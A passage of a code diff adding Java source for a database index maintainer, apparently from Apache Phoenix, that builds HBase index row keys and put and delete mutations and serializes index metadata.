+            builder.addField(SaltingUtil.SALTING_COLUMN, false, SortOrder.ASC);
+            nIndexedColumns--;
+        }
+        int dataPosOffset = isDataTableSalted ? 1 : 0 ;
+        if (viewIndexId != null) {
+            nIndexedColumns--;
+            builder.addField(new PDatum() {
+
+                @Override
+                public boolean isNullable() {
+                    return false;
+                }
+
+                @Override
+                public PDataType getDataType() {
+                    return MetaDataUtil.getViewIndexIdDataType();
+                }
+
+                @Override
+                public Integer getMaxLength() {
+                    return null;
+                }
+
+                @Override
+                public Integer getScale() {
+                    return null;
+                }
+
+                @Override
+                public SortOrder getSortOrder() {
+                    return SortOrder.getDefault();
+                }
+                
+            }, false, SortOrder.getDefault());
+        }
+        if (isMultiTenant) {
+            Field field = dataRowKeySchema.getField(dataPosOffset++);
+            builder.addField(field, field.isNullable(), field.getSortOrder());
+            nIndexedColumns--;
+        }
+        
+        Field[] indexFields = new Field[nIndexedColumns];
+        BitSet viewConstantColumnBitSet = this.rowKeyMetaData.getViewConstantColumnBitSet();
+        // Add Field for all data row pk columns
+        for (int i = dataPosOffset; i < dataRowKeySchema.getFieldCount(); i++) {
+            // Ignore view constants from the data table, as these
+            // don't need to appear in the index (as they're the
+            // same for all rows in this index)
+            if (!viewConstantColumnBitSet.get(i)) {
+                int pos = rowKeyMetaData.getIndexPkPosition(i-dataPosOffset);
+                indexFields[pos] = 
+                        dataRowKeySchema.getField(i);
+            } 
+        }
+        BitSet descIndexColumnBitSet = rowKeyMetaData.getDescIndexColumnBitSet();
+        Iterator<Expression> expressionItr = indexedExpressions.iterator();
+        for (int i = 0; i < indexFields.length; i++) {
+            Field indexField = indexFields[i];
+            PDataType dataTypeToBe;
+            SortOrder sortOrderToBe;
+            boolean isNullableToBe;
+            Integer maxLengthToBe;
+            Integer scaleToBe;
+            if (indexField == null) {
+                Expression e = expressionItr.next();
+                isNullableToBe = e.isNullable();
+                dataTypeToBe = IndexUtil.getIndexColumnDataType(isNullableToBe, e.getDataType());
+                sortOrderToBe = descIndexColumnBitSet.get(i) ? SortOrder.DESC : SortOrder.ASC;
+                maxLengthToBe = e.getMaxLength();
+                scaleToBe = e.getScale();
+            } else {
+                isNullableToBe = indexField.isNullable();
+                dataTypeToBe = IndexUtil.getIndexColumnDataType(isNullableToBe, indexField.getDataType());
+                sortOrderToBe = descIndexColumnBitSet.get(i) ? SortOrder.DESC : SortOrder.ASC;
+                maxLengthToBe = indexField.getMaxLength();
+                scaleToBe = indexField.getScale();
+            }
+            final PDataType dataType = dataTypeToBe;
+            final SortOrder sortOrder = sortOrderToBe;
+            final boolean isNullable = isNullableToBe;
+            final Integer maxLength = maxLengthToBe;
+            final Integer scale = scaleToBe;
+            builder.addField(new PDatum() {
+
+                @Override
+                public boolean isNullable() {
+                    return isNullable;
+                }
+
+                @Override
+                public PDataType getDataType() {
+                    return dataType;
+                }
+
+                @Override
+                public Integer getMaxLength() {
+                    return maxLength;
+                }
+
+                @Override
+                public Integer getScale() {
+                    return scale;
+                }
+
+                @Override
+                public SortOrder getSortOrder() {
+                    return sortOrder;
+                }
+                
+            }, true, sortOrder);
+        }
+        return builder.build();
+    }
+    
+    private int getNumViewConstants() {
+        BitSet bitSet = this.rowKeyMetaData.getViewConstantColumnBitSet();
+        int num = 0;
+        for(int i = 0; i<dataRowKeySchema.getFieldCount();i++){
+            if(bitSet.get(i)) num++;
+        }
+        return num;
+    }
+
+    private RowKeySchema getIndexRowKeySchema() {
+        if (indexRowKeySchema != null) {
+            return indexRowKeySchema;
+        }
+        synchronized (this) {
+            if (indexRowKeySchema == null) {
+                indexRowKeySchema = generateIndexRowKeySchema();
+            }
+        }
+        return indexRowKeySchema;
+    }
+    
+    public Put buildUpdateMutation(KeyValueBuilder kvBuilder, ValueGetter valueGetter, ImmutableBytesWritable dataRowKeyPtr, long ts, byte[] regionStartKey, byte[] regionEndKey) throws IOException {
+        byte[] indexRowKey = this.buildRowKey(valueGetter, dataRowKeyPtr, regionStartKey, regionEndKey);
+        Put put = null;
+        // New row being inserted: add the empty key value
+        if (valueGetter==null || valueGetter.getLatestValue(dataEmptyKeyValueRef) == null) {
+            put = new Put(indexRowKey);
+            // add the keyvalue for the empty row
+            put.add(kvBuilder.buildPut(new ImmutableBytesPtr(indexRowKey),
+                this.getEmptyKeyValueFamily(), dataEmptyKeyValueRef.getQualifierWritable(), ts,
+                // set the value to the empty column name
+                dataEmptyKeyValueRef.getQualifierWritable()));
+            put.setDurability(!indexWALDisabled ? Durability.USE_DEFAULT : Durability.SKIP_WAL);
+        }
+        ImmutableBytesPtr rowKey = new ImmutableBytesPtr(indexRowKey);
+        if (immutableStorageScheme != ImmutableStorageScheme.ONE_CELL_PER_COLUMN) {
+            // map from index column family to list of pair of index column and data column (for covered columns)
+            Map<ImmutableBytesPtr, List<Pair<ColumnReference, ColumnReference>>> familyToColListMap = Maps.newHashMap();
+            for (ColumnReference ref : this.getCoveredColumns()) {
+                ColumnReference indexColRef = this.coveredColumnsMap.get(ref);
+                ImmutableBytesPtr cf = new ImmutableBytesPtr(indexColRef.getFamily());
+                if (!familyToColListMap.containsKey(cf)) {
+                    familyToColListMap.put(cf, Lists.<Pair<ColumnReference, ColumnReference>>newArrayList());
+                }
+                familyToColListMap.get(cf).add(Pair.newPair(indexColRef, ref));
+            }
+            // iterate over each column family and create a byte[] containing all the columns 
+            for (Entry<ImmutableBytesPtr, List<Pair<ColumnReference, ColumnReference>>> entry : familyToColListMap.entrySet()) {
+                byte[] columnFamily = entry.getKey().copyBytesIfNecessary();
+                List<Pair<ColumnReference, ColumnReference>> colRefPairs = entry.getValue();
+                int maxEncodedColumnQualifier = Integer.MIN_VALUE;
+                // find the max col qualifier
+                for (Pair<ColumnReference, ColumnReference> colRefPair : colRefPairs) {
+                    maxEncodedColumnQualifier = Math.max(maxEncodedColumnQualifier, encodingScheme.decode(colRefPair.getFirst().getQualifier()));
+                }
+                Expression[] colValues = EncodedColumnsUtil.createColumnExpressionArray(maxEncodedColumnQualifier);
+                // set the values of the columns
+                for (Pair<ColumnReference, ColumnReference> colRefPair : colRefPairs) {
+                    ColumnReference indexColRef = colRefPair.getFirst();
+                    ColumnReference dataColRef = colRefPair.getSecond();
+                    Expression expression = new SingleCellColumnExpression(new PDatum() {
+                        @Override
+                        public boolean isNullable() {
+                            return false;
+                        }
+                        
+                        @Override
+                        public SortOrder getSortOrder() {
+                            return null;
+                        }
+                        
+                        @Override
+                        public Integer getScale() {
+                            return null;
+                        }
+                        
+                        @Override
+                        public Integer getMaxLength() {
+                            return null;
+                        }
+                        
+                        @Override
+                        public PDataType getDataType() {
+                            return null;
+                        }
+                    }, dataColRef.getFamily(), dataColRef.getQualifier(), encodingScheme);
+                    ImmutableBytesPtr ptr = new ImmutableBytesPtr();
+                    expression.evaluate(new ValueGetterTuple(valueGetter), ptr);
+                    byte[] value = ptr.copyBytesIfNecessary();
+                    if (value != null) {
+                        int indexArrayPos = encodingScheme.decode(indexColRef.getQualifier())-QueryConstants.ENCODED_CQ_COUNTER_INITIAL_VALUE+1;
+                        colValues[indexArrayPos] = new LiteralExpression(value);
+                    }
+                }
+                
+                List<Expression> children = Arrays.asList(colValues);
+                // we use SingleCellConstructorExpression to serialize multiple columns into a single byte[]
+                SingleCellConstructorExpression singleCellConstructorExpression = new SingleCellConstructorExpression(immutableStorageScheme, children);
+                ImmutableBytesWritable ptr = new ImmutableBytesWritable();
+                singleCellConstructorExpression.evaluate(new BaseTuple() {}, ptr);
+                if (put == null) {
+                    put = new Put(indexRowKey);
+                    put.setDurability(!indexWALDisabled ? Durability.USE_DEFAULT : Durability.SKIP_WAL);
+                }
+                ImmutableBytesPtr colFamilyPtr = new ImmutableBytesPtr(columnFamily);
+                //this is a little bit of extra work for installations that are running <0.94.14, but that should be rare and is a short-term set of wrappers - it shouldn't kill GC
+                put.add(kvBuilder.buildPut(rowKey, colFamilyPtr, QueryConstants.SINGLE_KEYVALUE_COLUMN_QUALIFIER_BYTES_PTR, ts, ptr));
+            }
+        } else {
+            for (ColumnReference ref : this.getCoveredColumns()) {
+                ColumnReference indexColRef = this.coveredColumnsMap.get(ref);
+                ImmutableBytesPtr cq = indexColRef.getQualifierWritable();
+                ImmutableBytesPtr cf = indexColRef.getFamilyWritable();
+                ImmutableBytesWritable value = valueGetter.getLatestValue(ref);
+                if (value != null) {
+                    if (put == null) {
+                        put = new Put(indexRowKey);
+                        put.setDurability(!indexWALDisabled ? Durability.USE_DEFAULT : Durability.SKIP_WAL);
+                    }
+                    put.add(kvBuilder.buildPut(rowKey, cf, cq, ts, value));
+                }
+            }
+        }
+        return put;
+    }
+
+    private enum DeleteType {SINGLE_VERSION, ALL_VERSIONS};
+    private DeleteType getDeleteTypeOrNull(Collection<KeyValue> pendingUpdates) {
+        int nDeleteCF = 0;
+        int nDeleteVersionCF = 0;
+        for (KeyValue kv : pendingUpdates) {
+        	if (kv.getTypeByte() == KeyValue.Type.DeleteFamilyVersion.getCode()) {
+                nDeleteVersionCF++;
+            }
+        	else if (kv.getTypeByte() == KeyValue.Type.DeleteFamily.getCode()
+        			// Since we don't include the index rows in the change set for txn tables, we need to detect row deletes that have transformed by TransactionProcessor
+        			|| (CellUtil.matchingQualifier(kv, TxConstants.FAMILY_DELETE_QUALIFIER) && CellUtil.matchingValue(kv, HConstants.EMPTY_BYTE_ARRAY))) {
+        	    nDeleteCF++;
+        	}
+        }
+        // This is what a delete looks like on the server side for mutable indexing...
+        // Should all be one or the other for DeleteFamily versus DeleteFamilyVersion, but just in case not
+        DeleteType deleteType = null; 
+        if (nDeleteVersionCF > 0 && nDeleteVersionCF >= this.nDataCFs) {
+        	deleteType = DeleteType.SINGLE_VERSION;
+        } else {
+			int nDelete = nDeleteCF + nDeleteVersionCF;
+			if (nDelete>0 && nDelete >= this.nDataCFs) {
+				deleteType = DeleteType.ALL_VERSIONS;
+			}
+		}
+        return deleteType;
+    }
+    
+    public boolean isRowDeleted(Collection<KeyValue> pendingUpdates) {
+        return getDeleteTypeOrNull(pendingUpdates) != null;
+    }
+    
+    private boolean hasIndexedColumnChanged(ValueGetter oldState, Collection<KeyValue> pendingUpdates) throws IOException {
+        if (pendingUpdates.isEmpty()) {
+            return false;
+        }
+        Map<ColumnReference,Cell> newState = Maps.newHashMapWithExpectedSize(pendingUpdates.size()); 
+        for (Cell kv : pendingUpdates) {
+            newState.put(new ColumnReference(CellUtil.cloneFamily(kv), CellUtil.cloneQualifier(kv)), kv);
+        }
+        for (ColumnReference ref : indexedColumns) {
+        	Cell newValue = newState.get(ref);
+        	if (newValue != null) { // Indexed column has potentially changed
+        	    ImmutableBytesWritable oldValue = oldState.getLatestValue(ref);
+        		boolean newValueSetAsNull = (newValue.getTypeByte() == Type.DeleteColumn.getCode() || newValue.getTypeByte() == Type.Delete.getCode() || CellUtil.matchingValue(newValue, HConstants.EMPTY_BYTE_ARRAY));
+        		//If the new column value has to be set as null and the older value is null too,
+        		//then just skip to the next indexed column.
+        		if (newValueSetAsNull && oldValue == null) {
+        			continue;
+        		}
+        		if ((oldValue == null && !newValueSetAsNull) || (oldValue != null && newValueSetAsNull)) {
+        			return true;
+        		}
+        		// If the old value is different than the new value, the index row needs to be deleted
+        		if (Bytes.compareTo(oldValue.get(), oldValue.getOffset(), oldValue.getLength(), 
+        				newValue.getValueArray(), newValue.getValueOffset(), newValue.getValueLength()) != 0) {
+        			return true;
+        		}
+        	}
+        }
+        return false;
+    }
+    
+   /**
+     * Used for immutable indexes that only index PK column values. In that case, we can handle a data row deletion,
+     * since we can build the corresponding index row key.
+     */
+    public Delete buildDeleteMutation(KeyValueBuilder kvBuilder, ImmutableBytesWritable dataRowKeyPtr, long ts) throws IOException {
+        return buildDeleteMutation(kvBuilder, null, dataRowKeyPtr, Collections.<KeyValue>emptyList(), ts, null, null);
+    }
+    
+    public Delete buildDeleteMutation(KeyValueBuilder kvBuilder, ValueGetter oldState, ImmutableBytesWritable dataRowKeyPtr, Collection<KeyValue> pendingUpdates, long ts, byte[] regionStartKey, byte[] regionEndKey) throws IOException {
+        byte[] indexRowKey = this.buildRowKey(oldState, dataRowKeyPtr, regionStartKey, regionEndKey);
+        // Delete the entire row if any of the indexed columns changed
+        DeleteType deleteType = null;
+        if (oldState == null || (deleteType=getDeleteTypeOrNull(pendingUpdates)) != null || hasIndexedColumnChanged(oldState, pendingUpdates)) { // Deleting the entire row
+            byte[] emptyCF = emptyKeyValueCFPtr.copyBytesIfNecessary();
+            Delete delete = new Delete(indexRowKey);
+            
+            for (ColumnReference ref : getCoveredColumns()) {
+                ColumnReference indexColumn = coveredColumnsMap.get(ref);
+                // If table delete was single version, then index delete should be as well
+                if (deleteType == DeleteType.SINGLE_VERSION) {
+                    delete.deleteFamilyVersion(indexColumn.getFamily(), ts);
+                } else {
+                    delete.deleteFamily(indexColumn.getFamily(), ts);
+                }
+            }
+            if (deleteType == DeleteType.SINGLE_VERSION) {
+                delete.deleteFamilyVersion(emptyCF, ts);
+            } else {
+                delete.deleteFamily(emptyCF, ts);
+            }
+            delete.setDurability(!indexWALDisabled ? Durability.USE_DEFAULT : Durability.SKIP_WAL);
+            return delete;
+        }
+        Delete delete = null;
+        Set<ColumnReference> dataTableColRefs = coveredColumnsMap.keySet();
+        // Delete columns for missing key values
+        for (Cell kv : pendingUpdates) {
+            if (kv.getTypeByte() != KeyValue.Type.Put.getCode()) {
+                ColumnReference ref = new ColumnReference(kv.getFamily(), kv.getQualifier());
+                if (dataTableColRefs.contains(ref)) {
+                    if (delete == null) {
+                        delete = new Delete(indexRowKey);                    
+                        delete.setDurability(!indexWALDisabled ? Durability.USE_DEFAULT : Durability.SKIP_WAL);
+                    }
+                    ColumnReference indexColumn = coveredColumnsMap.get(ref);
+                    // If point delete for data table, then use point delete for index as well
+                    if (kv.getTypeByte() == KeyValue.Type.Delete.getCode()) { 
+                        delete.deleteColumn(indexColumn.getFamily(), indexColumn.getQualifier(), ts);
+                    } else {
+                        delete.deleteColumns(indexColumn.getFamily(), indexColumn.getQualifier(), ts);
+                    }
+                }
+            }
+        }
+        return delete;
+    }
+    
+    public byte[] getIndexTableName() {
+        return indexTableName;
+    }
+    
+    public Set<ColumnReference> getCoveredColumns() {
+        return coveredColumnsMap.keySet();
+    }
+
+    public Set<ColumnReference> getAllColumns() {
+        return allColumns;
+    }
+    
+    public ImmutableBytesPtr getEmptyKeyValueFamily() {
+        // Since the metadata of an index table will never change,
+        // we can infer this based on the family of the first covered column
+        // If if there are no covered columns, we know it's our default name
+        return emptyKeyValueCFPtr;
+    }
+    
+    @Deprecated // Only called by code older than our 4.10 release
+    @Override
+    public void readFields(DataInput input) throws IOException {
+        int encodedIndexSaltBucketsAndMultiTenant = WritableUtils.readVInt(input);
+        isMultiTenant = encodedIndexSaltBucketsAndMultiTenant < 0;
+        nIndexSaltBuckets = Math.abs(encodedIndexSaltBucketsAndMultiTenant) - 1;
+        int encodedIndexedColumnsAndViewId = WritableUtils.readVInt(input);
+        boolean hasViewIndexId = encodedIndexedColumnsAndViewId < 0;
+        if (hasViewIndexId) {
+            // Fixed length
+            viewIndexId = new byte[MetaDataUtil.getViewIndexIdDataType().getByteSize()];
+            input.readFully(viewIndexId);
+        }
+        int nIndexedColumns = Math.abs(encodedIndexedColumnsAndViewId) - 1;
+        indexedColumns = Sets.newLinkedHashSetWithExpectedSize(nIndexedColumns);
+        for (int i = 0; i < nIndexedColumns; i++) {
+            byte[] cf = Bytes.readByteArray(input);
+            byte[] cq = Bytes.readByteArray(input);
+            indexedColumns.add(new ColumnReference(cf,cq));
+        }
+        indexedColumnTypes = Lists.newArrayListWithExpectedSize(nIndexedColumns);
+        for (int i = 0; i < nIndexedColumns; i++) {
+            PDataType type = PDataType.values()[WritableUtils.readVInt(input)];
+            indexedColumnTypes.add(type);
+        }
+        int encodedCoveredolumnsAndLocalIndex = WritableUtils.readVInt(input);
+        isLocalIndex = encodedCoveredolumnsAndLocalIndex < 0;
+        int nCoveredColumns = Math.abs(encodedCoveredolumnsAndLocalIndex) - 1;
+        coveredColumnsMap = Maps.newHashMapWithExpectedSize(nCoveredColumns);
+        for (int i = 0; i < nCoveredColumns; i++) {
+            byte[] dataTableCf = Bytes.readByteArray(input);
+            byte[] dataTableCq = Bytes.readByteArray(input);
+            ColumnReference dataTableRef = new ColumnReference(dataTableCf, dataTableCq);
+            byte[] indexTableCf = isLocalIndex ? IndexUtil.getLocalIndexColumnFamily(dataTableCf) : dataTableCf;
+            byte[] indexTableCq  = IndexUtil.getIndexColumnName(dataTableCf, dataTableCq);
+            ColumnReference indexTableRef = new ColumnReference(indexTableCf, indexTableCq);
+            coveredColumnsMap.put(dataTableRef, indexTableRef);
+        }
+        // Hack to serialize whether the index row key is optimizable
+        int len = WritableUtils.readVInt(input);
+        if (len < 0) {
+            rowKeyOrderOptimizable = false;
+            len *= -1;
+        } else {
+            rowKeyOrderOptimizable = true;
+        }
+        indexTableName = new byte[len];
+        input.readFully(indexTableName, 0, len);
+        dataEmptyKeyValueCF = Bytes.readByteArray(input);
+        len = WritableUtils.readVInt(input);
+        //TODO remove this in the next major release
+        boolean isNewClient = false;
+        if (len < 0) {
+          isNewClient = true;
+          len=Math.abs(len);
+        }
+        byte [] emptyKeyValueCF = new byte[len];
+        input.readFully(emptyKeyValueCF, 0, len);
+        emptyKeyValueCFPtr = new ImmutableBytesPtr(emptyKeyValueCF);
+        
+        if (isNewClient) {
+            int numIndexedExpressions = WritableUtils.readVInt(input);
+            indexedExpressions = Lists.newArrayListWithExpectedSize(numIndexedExpressions);        
+            for (int i = 0; i < numIndexedExpressions; i++) {
+                Expression expression = ExpressionType.values()[WritableUtils.readVInt(input)].newInstance();
+                expression.readFields(input);
+                indexedExpressions.add(expression);
+            }
+        }
+        else {
+            indexedExpressions = Lists.newArrayListWithExpectedSize(indexedColumns.size());
+            Iterator<ColumnReference> colReferenceIter = indexedColumns.iterator();
+            Iterator<PDataType> dataTypeIter = indexedColumnTypes.iterator();
+            while (colReferenceIter.hasNext()) {
+                ColumnReference colRef = colReferenceIter.next();
+                final PDataType dataType = dataTypeIter.next();
+                indexedExpressions.add(new KeyValueColumnExpression(new PDatum() {
+                    
+                    @Override
+                    public boolean isNullable() {
+                        return true;
+                    }
+                    
+                    @Override
+                    public SortOrder getSortOrder() {
+                        return SortOrder.getDefault();
+                    }
+                    
+                    @Override
+                    public Integer getScale() {
+                        return null;
+                    }
+                    
+                    @Override
+                    public Integer getMaxLength() {
+                        return null;
+                    }
+                    
+                    @Override
+                    public PDataType getDataType() {
+                        return dataType;
+                    }
+                }, colRef.getFamily(), colRef.getQualifier()));
+            }
+        }
+        
+        rowKeyMetaData = newRowKeyMetaData();
+        rowKeyMetaData.readFields(input);
+        int nDataCFs = WritableUtils.readVInt(input);
+        // Encode indexWALDisabled in nDataCFs
+        indexWALDisabled = nDataCFs < 0;
+        this.nDataCFs = Math.abs(nDataCFs) - 1;
+        int encodedEstimatedIndexRowKeyBytesAndImmutableRows = WritableUtils.readVInt(input);
+        this.immutableRows = encodedEstimatedIndexRowKeyBytesAndImmutableRows < 0;
+        this.estimatedIndexRowKeyBytes = Math.abs(encodedEstimatedIndexRowKeyBytesAndImmutableRows);
+        // Needed for backward compatibility. Clients older than 4.10 will have non-encoded tables.
+        this.immutableStorageScheme = ImmutableStorageScheme.ONE_CELL_PER_COLUMN;
+        this.encodingScheme = QualifierEncodingScheme.NON_ENCODED_QUALIFIERS;
+        initCachedState();
+    }
+    
+        
+    public static IndexMaintainer fromProto(ServerCachingProtos.IndexMaintainer proto, RowKeySchema dataTableRowKeySchema, boolean isDataTableSalted) throws IOException {
+        IndexMaintainer maintainer = new IndexMaintainer(dataTableRowKeySchema, isDataTableSalted);
+        maintainer.nIndexSaltBuckets = proto.getSaltBuckets();
+        maintainer.isMultiTenant = proto.getIsMultiTenant();
+        maintainer.viewIndexId = proto.hasViewIndexId() ? proto.getViewIndexId().toByteArray() : null;
+        List<ServerCachingProtos.ColumnReference> indexedColumnsList = proto.getIndexedColumnsList();
+        maintainer.indexedColumns = new HashSet<ColumnReference>(indexedColumnsList.size());
+        for (ServerCachingProtos.ColumnReference colRefFromProto : indexedColumnsList) {
+            maintainer.indexedColumns.add(new ColumnReference(colRefFromProto.getFamily().toByteArray(), colRefFromProto.getQualifier().toByteArray()));
+        }
+        List<Integer> indexedColumnTypes = proto.getIndexedColumnTypeOrdinalList();
+        maintainer.indexedColumnTypes = new ArrayList<PDataType>(indexedColumnTypes.size());
+        for (Integer typeOrdinal : indexedColumnTypes) {
+            maintainer.indexedColumnTypes.add(PDataType.values()[typeOrdinal]);
+        }
+        maintainer.indexTableName = proto.getIndexTableName().toByteArray();
+        maintainer.rowKeyOrderOptimizable = proto.getRowKeyOrderOptimizable();
+        maintainer.dataEmptyKeyValueCF = proto.getDataTableEmptyKeyValueColFamily().toByteArray();
+        ServerCachingProtos.ImmutableBytesWritable emptyKeyValueColFamily = proto.getEmptyKeyValueColFamily();
+        maintainer.emptyKeyValueCFPtr = new ImmutableBytesPtr(emptyKeyValueColFamily.getByteArray().toByteArray(), emptyKeyValueColFamily.getOffset(), emptyKeyValueColFamily.getLength());
+        maintainer.indexedExpressions = new ArrayList<>();
+        try (ByteArrayInputStream stream = new ByteArrayInputStream(proto.getIndexedExpressions().toByteArray())) {
+            DataInput input = new DataInputStream(stream);
+            while (stream.available() > 0) {
+                int expressionOrdinal = WritableUtils.readVInt(input);
+                Expression expression = ExpressionType.values()[expressionOrdinal].newInstance();
+                expression.readFields(input);
+                maintainer.indexedExpressions.add(expression);
+            }
+        }
+        maintainer.rowKeyMetaData = newRowKeyMetaData(maintainer, dataTableRowKeySchema, maintainer.indexedExpressions.size(), isDataTableSalted, maintainer.isMultiTenant);
+        try (ByteArrayInputStream stream = new ByteArrayInputStream(proto.getRowKeyMetadata().toByteArray())) {
+            DataInput input = new DataInputStream(stream);
+            maintainer.rowKeyMetaData.readFields(input);   
+        }
+        maintainer.nDataCFs = proto.getNumDataTableColFamilies();
+        maintainer.indexWALDisabled = proto.getIndexWalDisabled();
+        maintainer.estimatedIndexRowKeyBytes = proto.getIndexRowKeyByteSize();
+        maintainer.immutableRows = proto.getImmutable();
+        List<ColumnInfo> indexedColumnInfoList = proto.getIndexedColumnInfoList();
+        maintainer.indexedColumnsInfo = Sets.newHashSet();
+        for (ColumnInfo info : indexedColumnInfoList) {
+            maintainer.indexedColumnsInfo.add(new Pair<>(info.getFamilyName(), info.getColumnName()));
+        }
+        // proto doesn't support single byte so need an explicit cast here
+        maintainer.encodingScheme = PTable.QualifierEncodingScheme.fromSerializedValue((byte)proto.getEncodingScheme());
+        maintainer.immutableStorageScheme = PTable.ImmutableStorageScheme.fromSerializedValue((byte)proto.getImmutableStorageScheme());
+        maintainer.isLocalIndex = proto.getIsLocalIndex();
+        
+        List<ServerCachingProtos.ColumnReference> dataTableColRefsForCoveredColumnsList = proto.getDataTableColRefForCoveredColumnsList();
+        List<ServerCachingProtos.ColumnReference> indexTableColRefsForCoveredColumnsList = proto.getIndexTableColRefForCoveredColumnsList();
+        maintainer.coveredColumnsMap = Maps.newHashMapWithExpectedSize(dataTableColRefsForCoveredColumnsList.size());
+        boolean encodedColumnNames = maintainer.encodingScheme != NON_ENCODED_QUALIFIERS;
+        Iterator<ServerCachingProtos.ColumnReference> indexTableColRefItr = indexTableColRefsForCoveredColumnsList.iterator();
+        for (ServerCachingProtos.ColumnReference colRefFromProto : dataTableColRefsForCoveredColumnsList) {
+            ColumnReference dataTableColRef = new ColumnReference(colRefFromProto.getFamily().toByteArray(), colRefFromProto.getQualifier( ).toByteArray());
+            ColumnReference indexTableColRef;
+            if (encodedColumnNames) {
+                ServerCachingProtos.ColumnReference fromProto = indexTableColRefItr.next(); 
+                indexTableColRef = new ColumnReference(fromProto.getFamily().toByteArray(), fromProto.getQualifier( ).toByteArray());
+            } else {
+                byte[] cq = IndexUtil.getIndexColumnName(dataTableColRef.getFamily(), dataTableColRef.getQualifier());
+                byte[] cf = maintainer.isLocalIndex ? IndexUtil.getLocalIndexColumnFamily(dataTableColRef.getFamily()) : dataTableColRef.getFamily();
+                indexTableColRef = new ColumnReference(cf, cq);
+            }
+            maintainer.coveredColumnsMap.put(dataTableColRef, indexTableColRef);
+        }
+        maintainer.initCachedState();
+        return maintainer;
+    }
+    
+    @Deprecated // Only called by code older than our 4.10 release
+    @Override
+    public void write(DataOutput output) throws IOException {
+        // Encode nIndexSaltBuckets and isMultiTenant together
+        WritableUtils.writeVInt(output, (nIndexSaltBuckets + 1) * (isMultiTenant ? -1 : 1));
+        // Encode indexedColumns.size() and whether or not there's a viewIndexId
+        WritableUtils.writeVInt(output, (indexedColumns.size() + 1) * (viewIndexId != null ? -1 : 1));
+        if (viewIndexId != null) {
+            output.write(viewIndexId);
+        }
+        for (ColumnReference ref : indexedColumns) {
+            Bytes.writeByteArray(output, ref.getFamily());
+            Bytes.writeByteArray(output, ref.getQualifier());
+        }
+        //TODO remove indexedColumnTypes in the next major release
+        for (int i = 0; i < indexedColumnTypes.size(); i++) {
+            PDataType type = indexedColumnTypes.get(i);
+            WritableUtils.writeVInt(output, type.ordinal());
+        }
+        // Encode coveredColumns.size() and whether or not this is a local index
+        WritableUtils.writeVInt(output, (coveredColumnsMap.size() + 1) * (isLocalIndex ? -1 : 1));
+        for (ColumnReference ref : coveredColumnsMap.keySet()) {
+            Bytes.writeByteArray(output, ref.getFamily());
+            Bytes.writeByteArray(output, ref.getQualifier());
+        }
+        // TODO: remove when rowKeyOrderOptimizable hack no longer needed
+        WritableUtils.writeVInt(output,indexTableName.length * (rowKeyOrderOptimizable ? 1 : -1));
+        output.write(indexTableName, 0, indexTableName.length);
+        Bytes.writeByteArray(output, dataEmptyKeyValueCF);
+        // TODO in order to maintain b/w compatibility encode emptyKeyValueCFPtr.getLength() as a negative value (so we can distinguish between new and old clients)
+        // when indexedColumnTypes is removed, remove this 
+        WritableUtils.writeVInt(output,-emptyKeyValueCFPtr.getLength());
+        output.write(emptyKeyValueCFPtr.get(),emptyKeyValueCFPtr.getOffset(), emptyKeyValueCFPtr.getLength());
+        
+        WritableUtils.writeVInt(output, indexedExpressions.size());
+        for (Expression expression : indexedExpressions) {
+            WritableUtils.writeVInt(output, ExpressionType.valueOf(expression).ordinal());
+            expression.write(output);
+        }
+        
+        rowKeyMetaData.write(output);
+        // Encode indexWALDisabled in nDataCFs
+        WritableUtils.writeVInt(output, (nDataCFs + 1) * (indexWALDisabled ? -1 : 1));
+        // Encode estimatedIndexRowKeyBytes and immutableRows together.
+        WritableUtils.writeVInt(output, estimatedIndexRowKeyBytes * (immutableRows ? -1 : 1));
+    }
+    
+    public static ServerCachingProtos.IndexMaintainer toProto(IndexMaintainer maintainer) throws IOException {
+        ServerCachingProtos.IndexMaintainer.Builder builder = ServerCachingProtos.IndexMaintainer.newBuilder();
+        builder.setSaltBuckets(maintainer.nIndexSaltBuckets);
+        builder.setIsMultiTenant(maintainer.isMultiTenant);
+        if (maintainer.viewIndexId != null) {
+            builder.setViewIndexId(ByteStringer.wrap(maintainer.viewIndexId));
+        }
+        for (ColumnReference colRef : maintainer.indexedColumns) {
+            ServerCachingProtos.ColumnReference.Builder cRefBuilder =  ServerCachingProtos.ColumnReference.newBuilder();
+            cRefBuilder.setFamily(ByteStringer.wrap(colRef.getFamily()));
+            cRefBuilder.setQualifier(ByteStringer.wrap(colRef.getQualifier()));
+            builder.addIndexedColumns(cRefBuilder.build());
+        }
+        for (PDataType dataType : maintainer.indexedColumnTypes) {
+            builder.addIndexedColumnTypeOrdinal(dataType.ordinal());
+        }
+        for (Entry<ColumnReference, ColumnReference> e : maintainer.coveredColumnsMap.entrySet()) {
+            ServerCachingProtos.ColumnReference.Builder cRefBuilder =  ServerCachingProtos.ColumnReference.newBuilder();
+            ColumnReference dataTableColRef = e.getKey();
+            cRefBuilder.setFamily(ByteStringer.wrap(dataTableColRef.getFamily()));
+            cRefBuilder.setQualifier(ByteStringer.wrap(dataTableColRef.getQualifier()));
+            builder.addDataTableColRefForCoveredColumns(cRefBuilder.build());
+            if (maintainer.encodingScheme != NON_ENCODED_QUALIFIERS) {
+                // We need to serialize the colRefs of index tables only in case of encoded column names.
+                ColumnReference indexTableColRef = e.getValue();
+                cRefBuilder =  ServerCachingProtos.ColumnReference.newBuilder();
+                cRefBuilder.setFamily(ByteStringer.wrap(indexTableColRef.getFamily()));
+                cRefBuilder.setQualifier(ByteStringer.wrap(indexTableColRef.getQualifier()));
+                builder.addIndexTableColRefForCoveredColumns(cRefBuilder.build());
+            }
+        }
+        builder.setIsLocalIndex(maintainer.isLocalIndex);
+        builder.setIndexTableName(ByteStringer.wrap(maintainer.indexTableName));
+        builder.setRowKeyOrderOptimizable(maintainer.rowKeyOrderOptimizable);
+        builder.setDataTableEmptyKeyValueColFamily(ByteStringer.wrap(maintainer.dataEmptyKeyValueCF));
+        ServerCachingProtos.ImmutableBytesWritable.Builder ibwBuilder = ServerCachingProtos.ImmutableBytesWritable.newBuilder();
+        ibwBuilder.setByteArray(ByteStringer.wrap(maintainer.emptyKeyValueCFPtr.get()));
+        ibwBuilder.setLength(maintainer.emptyKeyValueCFPtr.getLength());
+        ibwBuilder.setOffset(maintainer.emptyKeyValueCFPtr.getOffset());
+        builder.setEmptyKeyValueColFamily(ibwBuilder.build());
+        try (ByteArrayOutputStream stream = new ByteArrayOutputStream()) {
+            DataOutput output = new DataOutputStream(stream);
+            for (Expression expression : maintainer.indexedExpressions) {
+                WritableUtils.writeVInt(output, ExpressionType.valueOf(expression).ordinal());
+                expression.write(output);
+            }
+            builder.setIndexedExpressions(ByteStringer.wrap(stream.toByteArray()));
+        }
